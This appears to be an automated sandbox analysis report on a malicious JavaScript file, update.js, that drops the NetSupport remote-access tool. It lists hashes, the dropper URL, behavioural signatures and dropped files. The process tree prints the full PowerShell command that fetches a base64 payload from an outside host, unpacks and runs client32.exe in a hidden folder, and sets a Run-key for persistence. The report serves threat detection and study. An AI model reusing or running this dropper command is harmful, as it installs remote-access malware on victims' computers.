Analysis

  • max time kernel
    93s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/01/2024, 18:18

General

  • Target

    update.js

  • Size

    114KB

  • MD5

    1e5517d4390ea9cf0a97bc08a88ce8f9

  • SHA1

    75ab46b29fb2a43710cee16f6947dc31763921ca

  • SHA256

    7a153e840b1e15b0ca6f9c99072fb34efc759c6f96e24b1c01d8cfc1b5cf9e78

  • SHA512

    354d548f71853a127d993285b97420e7c89cef1526535d9d0bb058a798b4accd9c0d98fe13b4bfb45452beb1c8a7b8254723ebe2ad50fe18dceeab61bf28036f

  • SSDEEP

    1536:AlarcxElarcxElarcxRlarcx4QNlarcxElarcxElarcx8larcxElarcxElarcxu:ADxEDxEDxRDxxDxEDxEDx8DxEDxEDxu

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://ghostcitygames.com/data.php?8788

exe.dropper

https://ghostcitygames.com/data.php?8788

Signatures

  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:552
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $ZPGikOnkUuHvqwFnjEsZUbNjyHqeW='https://ghostcitygames.com/data.php?8788';$SoBseWjQCbXsIdUcIgcz=(New-Object System.Net.WebClient).DownloadString($ZPGikOnkUuHvqwFnjEsZUbNjyHqeW);$bJaQgoixMmUUWVGctFLemiVGAtKDe=[System.Convert]::FromBase64String($SoBseWjQCbXsIdUcIgcz);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $WLUWUqgepgVRefnUu=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $WLUWUqgepgVRefnUu -PathType Container)) { New-Item -Path $WLUWUqgepgVRefnUu -ItemType Directory };$p=Join-Path $WLUWUqgepgVRefnUu 'lol.zip';[System.IO.File]::WriteAllBytes($p,$bJaQgoixMmUUWVGctFLemiVGAtKDe);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$WLUWUqgepgVRefnUu)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $WLUWUqgepgVRefnUu 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $WLUWUqgepgVRefnUu -Force; $FSDFSSD.attributes='Hidden';$s=$WLUWUqgepgVRefnUu+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
      2⤵
      • Blocklisted process makes network request
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4368
      • C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe
        "C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4668

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ohr1dwzo.ich.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\DIVX-282\HTCTL32.DLL

    Filesize

    320KB

    MD5

    c94005d2dcd2a54e40510344e0bb9435

    SHA1

    55b4a1620c5d0113811242c20bd9870a1e31d542

    SHA256

    3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

    SHA512

    2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

  • C:\Users\Admin\AppData\Roaming\DIVX-282\NSM.LIC

    Filesize

    258B

    MD5

    1b41e64c60ca9dfadeb063cd822ab089

    SHA1

    abfcd51bb120a7eae5bbd9a99624e4abe0c9139d

    SHA256

    f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d

    SHA512

    c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

  • C:\Users\Admin\AppData\Roaming\DIVX-282\PCICHEK.DLL

    Filesize

    18KB

    MD5

    104b30fef04433a2d2fd1d5f99f179fe

    SHA1

    ecb08e224a2f2772d1e53675bedc4b2c50485a41

    SHA256

    956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

    SHA512

    5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

  • C:\Users\Admin\AppData\Roaming\DIVX-282\PCICL32.DLL

    Filesize

    1.7MB

    MD5

    501176e2f694043141c68966d7c6306e

    SHA1

    c8d2733d2e40e89beb66dda9a7f4e05361ed4eef

    SHA256

    724f8dcba0a968f2bd96f845ffe85a68382ba9f14db570ea0b52065b53b2f19c

    SHA512

    a1fd89bbadadb14bf0c80252b787f50ec5da3632ccd67285ff0fe2a0398ccc3aaade07b87b242a2f68de9e20a92faa7d9ec31839d3ae85f60b6726120bec051b

  • C:\Users\Admin\AppData\Roaming\DIVX-282\PCICL32.dll

    Filesize

    2.5MB

    MD5

    085a6374f81e22567507abbcaac29a59

    SHA1

    057f9483e2a368d08d1f40218e8123e5accf552f

    SHA256

    5231105a9abe4f03031725363be1689a1be61fd122e854b23524b5c1fac6bb5c

    SHA512

    e51fd51f465564c58a49d7bec4fa6274bcca3985e2e8371bf6265de58da3365d82d40e3833285ff8e32a700ab26da18769677a9cb1ef2fc9665ace795f547688

  • C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe

    Filesize

    101KB

    MD5

    c4f1b50e3111d29774f7525039ff7086

    SHA1

    57539c95cba0986ec8df0fcdea433e7c71b724c6

    SHA256

    18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

    SHA512

    005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

  • C:\Users\Admin\AppData\Roaming\DIVX-282\client32.ini

    Filesize

    701B

    MD5

    98043670d8c850e878e333312fcfa25a

    SHA1

    dc795e8b906d70ee5854a6797e0c1557375bc443

    SHA256

    0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc

    SHA512

    13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201

  • C:\Users\Admin\AppData\Roaming\DIVX-282\msvcr100.dll

    Filesize

    755KB

    MD5

    0e37fbfa79d349d672456923ec5fbbe3

    SHA1

    4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

    SHA256

    8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

    SHA512

    2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

  • C:\Users\Admin\AppData\Roaming\DIVX-282\pcicapi.dll

    Filesize

    32KB

    MD5

    34dfb87e4200d852d1fb45dc48f93cfc

    SHA1

    35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

    SHA256

    2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

    SHA512

    f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

  • memory/4368-12-0x000002A7472F0000-0x000002A747300000-memory.dmp

    Filesize

    64KB

  • memory/4368-15-0x000002A747280000-0x000002A747292000-memory.dmp

    Filesize

    72KB

  • memory/4368-82-0x00007FFA16C40000-0x00007FFA17701000-memory.dmp

    Filesize

    10.8MB

  • memory/4368-14-0x000002A747250000-0x000002A74725A000-memory.dmp

    Filesize

    40KB

  • memory/4368-5-0x000002A72EFD0000-0x000002A72EFF2000-memory.dmp

    Filesize

    136KB

  • memory/4368-11-0x000002A7472F0000-0x000002A747300000-memory.dmp

    Filesize

    64KB

  • memory/4368-10-0x00007FFA16C40000-0x00007FFA17701000-memory.dmp

    Filesize

    10.8MB